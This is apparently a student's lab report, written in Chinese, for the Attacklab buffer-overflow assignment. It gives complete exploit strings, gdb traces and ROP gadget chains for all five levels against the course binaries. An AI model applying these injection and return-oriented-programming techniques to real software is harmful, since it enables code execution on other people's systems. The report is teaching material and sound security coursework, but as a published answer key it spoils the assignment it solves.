Attacklab 实验报告

李梓童 2017202121

一、实验方法

1. 阅读实验手册，了解题目要求。

2. 运用缓冲区溢出的原理，充分利用反汇编工具、gdb 调试、阅读汇编语言等方法拼凑需要的字符串。

3. 将字符串用 hex2raw 转换后，输入程序运行。

二、实验结果

通过五道关卡，每道关卡输入字符串如下：

① 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ee 17 40 00

② 48 c7 c7 b8 82 65 28 68 1a 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 08 b4 67 55

③ 48 c7 c7 38 b4 67 55 68 ee 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 08 b4 67 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 38 36 35 38 32 62 38

④ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 93 19 40 00 00 00 00 00 b8 82 65 28 00 00 00 00 8c 19 40 00 00 00 00 00 1a 18 40 00 00 00 00 00

⑤ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 1a 40 00 00 00 00 00 85 19 40 00 00 00 00 00 93 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 43 1a 40 00 00 00 00 00 02 1a 40 00 00 00 00 00 5e 1a 40 00 00 00 00 00 b8 19 40 00 00 00 00 00 85 19 40 00 00 00 00 00 ee 18 40 00 00 00 00 00 32 38 36 35 38 32 62 38

三、解题过程

【第一关】

1. 根据实验手册，我们的目标是让 getbuf 函数跳转到 touch1。

2. 在反汇编出的 asm1 文件中找到 <getbuf> ，代码如下：

```
00000000004017d8 <getbuf>:
  4017d8:    48 83 ec 18              sub    $0x18,%rsp
  4017dc:    48 89 e7                 mov    %rsp,%rdi
  4017df:    e8 36 02 00 00           callq  401a1a <Gets>
  4017e4:    b8 01 00 00 00           mov    $0x1,%eax
  4017e9:    48 83 c4 18              add    $0x18,%rsp
  4017ed:    c3                       retq
```

由第一行 sub $0x18,%rsp 可知缓冲区有 24 个字节，再往上四个字节就是函数正常返回的地址。需要让函数返回到 touch1，由下图可见 touch1 的地址为 0x4017ee。

```
00000000004017ee <touch1>:
  4017ee:    48 83 ec 08              sub    $0x8,%rsp
  4017f2:    c7 05 00 2d 20 00 01     movl   $0x1,0x202d00(%rip)        #
6044fc <vlevel>
  4017f9:    00 00 00
  4017fc:    bf 48 2f 40 00           mov    $0x402f48,%edi
```

3. 所以我们需要输入的字符串里，前 24 个字节随意，从第 25 个字节起按次输入 ee 17 40 00（小端法）。十六进制输入如下：“00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ee 17 40 00”。用 hex2raw 转换后输入函数，解出第一关。

【第二关】

1. 根据实验手册，第二关我们的目标是让 ctarget 执行 touch2 的代码而不是返回 test，另外，touch2 的参数应当为用户的 cookie。实验手册中给出 touch2 的 C 语言版本如下：

```
void touch2(unsigned val){
    vlevel = 2;
    if (val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}
```

用 objdump 工具反汇编后，得到 touch2 的汇编代码如下：

```
000000000040181a <touch2>:
  40181a:    48 83 ec 08              sub    $0x8,%rsp
  40181e:    89 fe                    mov    %edi,%esi
  401820:    c7 05 d2 2c 20 00 02     movl   $0x2,0x202cd2(%rip)        #
6044fc <vlevel>
  # vlevel = 2;
  401827:    00 00 00
  40182a:    3b 3d d4 2c 20 00        cmp    0x202cd4(%rip),%edi        #
604504 <cookie>
  # compare val and cookie
  401830:    75 1b                    jne    40184d <touch2+0x33>
  401832:    bf 70 2f 40 00           mov    $0x402f70,%edi
  401837:    b8 00 00 00 00           mov    $0x0,%eax
  40183c:    e8 3f f4 ff ff           callq  400c80 <printf@plt>
  401841:    bf 02 00 00 00           mov    $0x2,%edi
  401846:    e8 be 03 00 00           callq  401c09 <validate>
  # if(val==cookie) validate(2);
  40184b:    eb 19                    jmp    401866 <touch2+0x4c>
  40184d:    bf 98 2f 40 00           mov    $0x402f98,%edi
  401852:    b8 00 00 00 00           mov    $0x0,%eax
  401857:    e8 24 f4 ff ff           callq  400c80 <printf@plt>
  40185c:    bf 02 00 00 00           mov    $0x2,%edi
  401861:    e8 55 04 00 00           callq  401cbb <fail>
  # if(val!=cookie) fail(2);
  401866:    bf 00 00 00 00           mov    $0x0,%edi

  40186b:    e8 80 f5 ff ff           callq  400df0 <exit@plt>
```

2. 初步分析，我们要把 cookie 赋值给 val，需要通过%rdi 来传参，然后把希望调用函数返回的地址压栈后用 ret 来跳转。这样就有了注入的汇编代码：

```
mov $0x286582b8,%rdi   # 传递参数（cookie->%rdi）
pushq $0x0040181a   # 把 touch2 的起始地址压栈
ret
```

3. 把以上代码编译再反汇编，转化成对应的机器码后得到：

```
p2.o:     file format elf64-x86-64
Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 b8 82 65 28     mov     $0x286582b8,%rdi
   7:   68 1a 18 40 00           pushq   $0x40181a
   c:   c3                       retq
```

4. 接下来，我们要让机器执行这些代码，具体方式便是第一题缓冲区溢出的方式。先找出缓冲区的位置，也就是 getbuf()函数中执行<gets>时的栈顶位置。利用 gdb 在 gets 下一行设置断点，查看寄存器：

```
Breakpoint 1 at 0x4017e4: file buf.c, line 16.
(gdb) run
Starting program: /home/2017202121/target99/ctarget
Cookie: 0x286582b8
Type string:1234

Breakpoint 1, getbuf () at buf.c:16
16      buf.c: No such file or directory.
(gdb) disas
Dump of assembler code for function getbuf:
   0x00000000004017d8 <+0>:     sub    $0x18,%rsp
   0x00000000004017dc <+4>:     mov    %rsp,%rdi
   0x00000000004017df <+7>:     callq  0x401a1a <Gets>
=> 0x00000000004017e4 <+12>:    mov    $0x1,%eax
   0x00000000004017e9 <+17>:    add    $0x18,%rsp
   0x00000000004017ed <+21>:    retq
End of assembler dump.
(gdb) info registers
rax            0x5567b408       1432859656
rbx            0x55586000       1431855104
rcx            0xa      10
rdx            0xa      10
rsi            0x7ffff7dd87d0   140737351878608
rdi            0x7ffff7dd74e0   140737351873760
rbp            0x55685fe8       0x55685fe8
rsp            0x5567b408       0x5567b408
r8             0x7ffff7fe2700   140737354016512
r9             0x0      0
r10            0x22     34
r11            0x246    582
r12            0x1      1
r13            0x0      0
r14            0x0      0
r15            0x0      0
rip            0x4017e4 0x4017e4 <getbuf+12>
eflags         0x246    [ PF ZF IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
---Type <return> to continue, or q <return> to quit---
gs             0x0      0
(gdb)
```

5. 我们看到 rsp 的值为 0x5567b408，再结合之前反汇编出的注入代码，即可得我们应当输入的字符串：“48 c7 c7 b8 82 65 28 68 1a 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 08 b4 67 55”用 hex2raw 转化后传入 ctarget 即可。

【第三关】

1. 根据实验手册，第三题也是注入代码攻击，需要我们输入一个字符串作为参数。实验说明中给出与本题相关 C 语言代码如下：

```
1  /* Compare string to hex represention of unsigned value */
2  int hexmatch(unsigned val, char *sval)
3  {
4      char cbuf[110];
5      /* Make position of check string unpredictable */
6      char *s = cbuf + random() % 100;
7      sprintf(s, "%.8x", val);
8      return strncmp(sval, s, 9) == 0;
9  }
```

int sprintf(char *buffer, const char *format, [argument] …);

功能：把格式化的数据写入某个字符串缓冲区。返回写入 buffer 的字符数，出错则返回-1。

```
10
11 void touch3(char *sval)
12 {
13     vlevel = 3;        /* Part of validation protocol */
14     if (hexmatch(cookie, sval)) {
15         printf("Touch3!: You called touch3(\"%s\")\n", sval);
16         validate(3);
17     } else {
18         printf("Misfire: You called touch3(\"%s\")\n", sval);
19         fail(3);
20     }
21     exit(0);
22 }
```

我们的任务是让 ctarget 执行 touch3，并且让 touch3 以为我们传入了自己的 cookie 作为参数。

2. 根据实验手册中的指示：①我们需要在输入的字符串里加入 cookie 的 ascii 码（八个字节）；②字符串的地址应当存入%rdi；③当 hexmatch 和 strncmp 执行的时候，它们会往栈中传入数据，覆盖缓冲区的部分位置，因此我们需要重新考虑注入 cookie 的位置。

3. 初步分析，本题与第二题不同的是，当我们把 cookie 作为参数传入 touch3 时，touch3 会调用 hexmatch，覆盖缓冲区。
先看看 touch3 和调用 hexmatch 有关的代码：

```
00000000004018ee <touch3>:
  4018ee:    53                      push   %rbx
  4018ef:    48 89 fb                mov    %rdi,%rbx
  4018f2:    c7 05 00 2c 20 00 03    movl   $0x3,0x202c00(%rip)        #
6044fc <vlevel>
  4018f9:    00 00 00
  4018fc:    48 89 fe                mov    %rdi,%rsi
  4018ff:    8b 3d ff 2b 20 00       mov    0x202bff(%rip),%edi        #
604504 <cookie>
  401905:    e8 66 ff ff ff          callq  401870 <hexmatch>
# 调用了hexmatch
  40190a:    85 c0                   test   %eax,%eax
  40190c:    74 1e                   je     40192c <touch3+0x3e>
  40190e:    48 89 de                mov    %rbx,%rsi
  401911:    bf c0 2f 40 00          mov    $0x402fc0,%edi
  401916:    b8 00 00 00 00          mov    $0x0,%eax
```

4. 由于已知缓冲区会发生变化，所以进行 gdb 调试时，在 0x401905 前后设置断点（break *0x401905, break *0x40190a），看看缓冲区的变化。

```
Breakpoint 1, 0x0000000000401905 in touch3 (sval=0x7ffff7dd74e0 <_IO_2_1_stdin_> "\210
73      visible.c: No such file or directory.
(gdb)  x /20w 0x5567b408
0x5567b408:     0       0       0       0
0x5567b418:     0       0       1431855104      0
0x5567b428:     9       0       4202099 0
0x5567b438:     0       0       -185273100      -185273100
0x5567b448:     -185273100      -185273100      -185273100      -185273100
```

调用函数后：

```
Breakpoint 2, 0x000000000040190a in touch3 (sval=0x7ffff7dd74e0 <_IO_2_1_std
73      in visible.c
(gdb) x /30w 0x5567b408
0x5567b408:     1432903656      0       1       0
0x5567b418:     4200714 0       1431855104      0
0x5567b428:     9       0       4202099 0
0x5567b438:     0       0       -185273100      -185273100
0x5567b448:     -185273100      -185273100      -185273100      -185273100
0x5567b458:     -185273100      -185273100      -185273100      -185273100
0x5567b468:     -185273100      -185273100      -185273100      -185273100
0x5567b478:     -185273100      -185273100
```

5. 我们可以看到，0x5567b408-0x0x5567b41c 都是不安全的。但为了保险起见，可以把字符串放在缓存区以外的 0x5567b438 处。

6. 接下来的过程和第二题的过程相似，写出汇编代码：

```
mov     $0x5567b438,%rdi
pushq   $0x4018ee
retq
```

反汇编得到：

```
0:    48 c7 c7 38 b4 67 55    mov     $0x5567b438,%rdi
7:    68 ee 18 40 00          pushq   $0x4018ee
c:    c3                      retq
```

cookie 转化为 ascii 字符串形式：
0x286582b8 -> 32 38 36 35 38 32 62 38

7. 把以上信息结合后，便可得到我们需要的字符：
48 c7 c7 38 b4 67 55 68 ee 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 08 b4 67 55 00 00 00 00（以上字节来使缓冲区溢出实现我们注入的代码）00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 38 36 35 38 32 62 38（把 cookie 放在我们挑选的位置）

8. 最后用 hex2raw 函数进行转换，输入程序即可。

【第四关】

1. 根据实验手册，rtarget 与 ctarget 的不同之处在于：一，它使用随机化方式来使栈的位置每次都不同，因此我们无法判断注入代码的位置，也就不能使用缓冲区溢出的方式来攻击。二，栈被设置为不可执行，因此即使程序能跳转到我们注入的代码，程序也会产生内存错误。

这样一来，我们就得使用 ROP（return-oriented programming）策略来进行攻击了。我们可以利用现存代码中的一些后面接着 ret（c3）的指令（这样的指令片段叫 gadget），从一个 gadget 跳转到另一个 gadget，让程序实现我们想要的操作。

2. 在本题里，我们需要用 gadget 实现和 touch2 相同的操作，即把我们的 cookie 作为参数传入到 touch2 里，使函数返回到 touch2 而不是 test。

3. 实验手册给出了一些建议：
①我们可以使用 movq、popq、ret、nop 来实现我们需要的操作
②我们需要的 gadget 都可以在 rtarget 反汇编文件的<start_farm>和<mid_farm>之间找到
③只需要两个 gadget 就可以完成操作
④使用 popq 指令时，我们可以把需要的字符串（也就是 cookie）转移到相应的寄存器中。

4. 清楚了以上几点，就可以开始实验了。先给出 start_farm 和 mid_farm 之间的反汇编代码：

```
0000000000401976 <start_farm>:
  401976:    b8 01 00 00 00          mov    $0x1,%eax
  40197b:    c3                      retq

000000000040197c <setval_321>:
  40197c:    c7 07 35 58 91 c3       movl   $0xc3915835,(%rdi)
  401982:    c3                      retq

0000000000401983 <setval_487>:
  401983:    c7 07 48 89 c7 c3       movl   $0xc3c78948,(%rdi)
  401989:    c3                      retq

000000000040198a <addval_398>:
  40198a:    8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  401990:    c3                      retq

0000000000401991 <addval_207>:
  401991:    8d 87 58 90 c3 b1       lea    -0x4e3c6fa8(%rdi),%eax
  401997:    c3                      retq

0000000000401998 <getval_381>:
  401998:    b8 58 90 91 c3          mov    $0xc3919058,%eax
  40199d:    c3                      retq

000000000040199e <getval_343>:
  40199e:    b8 40 89 c7 c3          mov    $0xc3c78940,%eax
  4019a3:    c3                      retq

00000000004019a4 <addval_204>:
  4019a4:    8d 87 48 89 c7 91       lea    -0x6e3876b8(%rdi),%eax
  4019aa:    c3                      retq

00000000004019ab <setval_316>:
  4019ab:    c7 07 fe db 58 90       movl   $0x9058dbfe,(%rdi)
  4019b1:    c3                      retq

00000000004019b2 <mid_farm>:
  4019b2:    b8 01 00 00 00          mov    $0x1,%eax
  4019b7:    c3                      retq
```

5. 勾勒一下大体思路：用一个 popq，把 cookie 传入某个寄存器里。再用 movq，把寄存器里的 cookie 赋给%rdi 作为 touch2 的第一个参数，然后再让函数返回到 touch2。

6. 对照实验手册后面给出的汇编代码表，popq 的汇编代码范围应当是“58 c3”到“5f c3”，乍看现存代码中并没有这样的字节，但是仔细再看，发现在 0x401993 的位置有一个“58 90 c3”，其中 0x90 对应的指令不作任何操作，这样便找到了我们需要的 popq 指令，把数值弹出到%rax 寄存器。

7. 接着找“movq %rax，%rdi”对应的字节（48 89 c7），在 0x40198c 的位置找到了，后面还刚好跟了个 c3。再加上 cookie 值为 0x286582b8，touch2 的地址为 0x40181a，我们需要构造攻击字符串的值都已经具备了。

8. 下面是攻击字符串的具体结构（在构造攻击字符串的时候，要注意小端法，以及在 x86-64 机器上地址是八个字节）：
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 （前 24 个字节都处在缓冲区中）93 19 40 00 00 00 00 00 （首先是 popq 指令的地址，把其后接的 cookie 值弹出到%rax 中）b8 82 65 28 00 00 00 00 （cookie 值）8c 19 40 00 00 00 00 00 （然后是 movq 指令的地址，传递参数）1a 18 40 00 00 00 00 00（让程序返回到 touch2）

9. 用 hex2raw 转换后输入程序即可。

【第五关】

1. 根据实验手册，在这一题中我们要从 rtarget 反汇编代码的<start_farm>和<end_farm>之间找到我们需要的现存代码指令，实现第三题中的功能（把 cookie 转换成 ascii 码放到栈的某个位置，然后把它的地址放到 %rdi 中，让程序调用 touch3 ）。另外，官方答案包含 8 个 gadget。

2. 解题的基本思路如下：
①找出 %rsp 存着的地址
②然后把这个地址加上 cookie 在栈里的偏移量 pop 到某个寄存器中
③把这个寄存器的值放到 %rdi 中
④调用 touch3
从第 2 步到第 3 步，由于可用指令不支持我们直接进行操作（farm 里面找不到直接用的句子），所以我们考虑先把%rsp 存储的栈顶指针赋给%rdi， 再将%eax 的值设置为 cookie 字符串地址在栈中的偏移量并赋给%esi，最后将二者相加得到 cookie 字符串的存储地址。

3. 先写出我们需要的汇编语言（黑色字），对照表格找出这些汇编语言的字节码（蓝色字），再从<start_farm>和<end_farm>之间找我们需要的汇编指令的字节码（黄色高亮），记录对应的地址（farm 里存在的字节码与我们需要的并不完全对应，有 0x90 这样的小添加，但不影响使用；lea 语句的地址可以直接从 farm 中找到）。整理后，结果如下：
mov %rsp,%rax
ret # 48 89 e0 90 c3 0x401a1c
mov %rax,%rdi # 把%rsp 存着的地址赋值给%rdi
ret # 48 89 c7 c3 0x401985
popq %rax
ret # 58 c3 0x401993
$0x48 # 将%eax 的值设置为 cookie 字符串地址在栈中的偏移量（8*9=72=0x48）
movl %eax,%ecx
ret # 89 c1 90 90 c3 0x401a43
movl %ecx,%edx
ret # 89 ca 90 c3 0x401a02

movl %edx,%esi
ret # 89 d6 c3 0x401a5e
lea (%rdi,%rsi,1),%rax # 栈顶指针加偏移量 0x4019b8
mov %rax,%rdi
ret # 48 89 c7 c3 0x401985
0x4018ee # <touch3>的地址
32 38 36 35 38 32 62 38 # Cookie 的 ascii 码表示

3*. 附上反汇编代码 farm 部分：

```
0000000000401976 <start_farm>:
  401976:    b8 01 00 00 00          mov    $0x1,%eax
  40197b:    c3                      retq

000000000040197c <setval_321>:
  40197c:    c7 07 35 58 91 c3       movl   $0xc3915835,(%rdi)
  401982:    c3                      retq

0000000000401983 <setval_487>:
  401983:    c7 07 48 89 c7 c3       movl   $0xc3c78948,(%rdi)
  401989:    c3                      retq

000000000040198a <addval_398>:
  40198a:    8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  401990:    c3                      retq

0000000000401991 <addval_207>:
  401991:    8d 87 58 90 c3 b1       lea    -0x4e3c6fa8(%rdi),%eax
  401997:    c3                      retq

0000000000401998 <getval_381>:
  401998:    b8 58 90 91 c3          mov    $0xc3919058,%eax
  40199d:    c3                      retq
```

```
000000000040199e <getval_343>:
  40199e:    b8 40 89 c7 c3          mov    $0xc3c78940,%eax
  4019a3:    c3                      retq

00000000004019a4 <addval_204>:
  4019a4:    8d 87 48 89 c7 91       lea    -0x6e3876b8(%rdi),%eax
  4019aa:    c3                      retq

00000000004019ab <setval_316>:
  4019ab:    c7 07 fe db 58 90       movl   $0x9058dbfe,(%rdi)
  4019b1:    c3                      retq

00000000004019b2 <mid_farm>:
  4019b2:    b8 01 00 00 00          mov    $0x1,%eax
  4019b7:    c3                      retq

00000000004019b8 <add_xy>:
  4019b8:    48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  4019bc:    c3                      retq

00000000004019bd <getval_284>:
  4019bd:    b8 89 c1 20 c0          mov    $0xc020c189,%eax
  4019c2:    c3                      retq

00000000004019c3 <getval_426>:
  4019c3:    b8 8b c1 08 c9          mov    $0xc908c18b,%eax
  4019c8:    c3                      retq

00000000004019c9 <addval_113>:
  4019c9:    8d 87 48 89 e0 c2       lea    -0x3d1f76b8(%rdi),%eax
  4019cf:    c3                      retq

00000000004019d0 <addval_124>:
  4019d0:    8d 87 c9 ca 84 c0       lea    -0x3f7b3537(%rdi),%eax
  4019d6:    c3                      retq

00000000004019d7 <getval_149>:
  4019d7:    b8 89 c1 18 db          mov    $0xdb18c189,%eax
  4019dc:    c3                      retq

00000000004019dd <setval_134>:
  4019dd:    c7 07 77 89 ca 91       movl   $0x91ca8977,(%rdi)
  4019e3:    c3                      retq

00000000004019e4 <getval_485>:
  4019e4:    b8 99 c1 90 c3          mov    $0xc390c199,%eax
  4019e9:    c3                      retq
```

```
00000000004019ea <setval_153>:
  4019ea:    c7 07 08 89 e0 c3          movl   $0xc3e08908,(%rdi)
  4019f0:    c3                         retq

00000000004019f1 <addval_311>:
  4019f1:    8d 87 89 c1 91 90          lea    -0x6f6e3e77(%rdi),%eax
  4019f7:    c3                         retq

00000000004019f8 <addval_172>:
  4019f8:    8d 87 48 89 e0 94          lea    -0x6b1f76b8(%rdi),%eax
  4019fe:    c3                         retq

00000000004019ff <setval_181>:
  4019ff:    c7 07 42 89 ca 90          movl   $0x90ca8942,(%rdi)
  401a05:    c3                         retq

0000000000401a06 <getval_259>:
  401a06:    b8 ba 8d ca 90             mov    $0x90ca8dba,%eax
  401a0b:    c3                         retq

0000000000401a0c <setval_497>:
  401a0c:    c7 07 48 81 e0 c3          movl   $0xc3e08148,(%rdi)
  401a12:    c3                         retq

0000000000401a13 <setval_383>:
  401a13:    c7 07 99 d6 38 c9          movl   $0xc938d699,(%rdi)
  401a19:    c3                         retq

0000000000401a1a <addval_103>:
  401a1a:    8d 87 48 89 e0 90          lea    -0x6f1f76b8(%rdi),%eax
  401a20:    c3                         retq

0000000000401a21 <setval_422>:
  401a21:    c7 07 48 89 e0 c3          movl   $0xc3e08948,(%rdi)
  401a27:    c3                         retq

0000000000401a28 <getval_333>:
  401a28:    b8 89 ca 94 c0             mov    $0xc094ca89,%eax
  401a2d:    c3                         retq

0000000000401a2e <addval_367>:
  401a2e:    8d 87 89 ca 84 db          lea    -0x247b3577(%rdi),%eax
  401a34:    c3                         retq

0000000000401a35 <setval_459>:
  401a35:    c7 07 89 d6 90 c2          movl   $0xc290d689,(%rdi)
  401a3b:    c3                         retq
```

```
0000000000401a3c <getval_401>:
  401a3c:    b8 81 ca 38 c9          mov    $0xc938ca81,%eax
  401a41:    c3                      retq

0000000000401a42 <getval_178>:
  401a42:    b8 89 c1 90 90          mov    $0x9090c189,%eax
  401a47:    c3                      retq

0000000000401a48 <addval_173>:
  401a48:    8d 87 89 d6 a4 d2       lea    -0x2d5b2977(%rdi),%eax
  401a4e:    c3                      retq

0000000000401a4f <getval_423>:
  401a4f:    b8 48 89 e0 c7          mov    $0xc7e08948,%eax
  401a54:    c3                      retq

0000000000401a55 <getval_270>:
  401a55:    b8 48 89 e0 91          mov    $0x91e08948,%eax
  401a5a:    c3                      retq

0000000000401a5b <getval_308>:
  401a5b:    b8 ad ef 89 d6          mov    $0xd689efad,%eax
  401a60:    c3                      retq

0000000000401a61 <addval_440>:
  401a61:    8d 87 89 d6 94 c3       lea    -0x3c6b2977(%rdi),%eax
  401a67:    c3                      retq

0000000000401a68 <addval_230>:
  401a68:    8d 87 81 d6 20 db       lea    -0x24df297f(%rdi),%eax
  401a6e:    c3                      retq

0000000000401a6f <setval_322>:
  401a6f:    c7 07 c9 c1 90 c3       movl   $0xc390c1c9,(%rdi)
  401a75:    c3                      retq

0000000000401a76 <getval_244>:
  401a76:    b8 e3 89 d6 90          mov    $0x90d689e3,%eax
  401a7b:    c3                      retq

0000000000401a7c <addval_269>:
  401a7c:    8d 87 09 d6 08 c9       lea    -0x36f729f7(%rdi),%eax
  401a82:    c3                      retq

0000000000401a83 <getval_465>:
  401a83:    b8 89 ca 90 c2          mov    $0xc290ca89,%eax
  401a88:    c3                      retq
```

```
0000000000401a89 <addval_101>:
  401a89:    8d 87 89 c1 18 c0          lea    -0x3fe73e77(%rdi),%eax
  401a8f:    c3                         retq

0000000000401a90 <end_farm>:
  401a90:    b8 01 00 00 00             mov    $0x1,%eax
  401a95:    c3                         retq
  401a96:    66 2e 0f 1f 84 00 00       nopw   %cs:0x0(%rax,%rax,1)
  401a9d:    00 00 00
```

4. 转变成答案，也就是：

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 （填满缓冲区） 1c 1a 40 00 00 00 00 00 85 19 40 00 00 00 00 00 93 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 43 1a 40 00 00 00 00 00 02 1a 40 00 00 00 00 00 5e 1a 40 00 00 00 00 00 b8 19 40 00 00 00 00 00 85 19 40 00 00 00 00 00 ee 18 40 00 00 00 00 00 32 38 36 35 38 32 62 38 （以上依次是我们找出的可用代码的地址，touch3 的地址以及 cookie 的值）

5. hex2raw 转换后输入函数。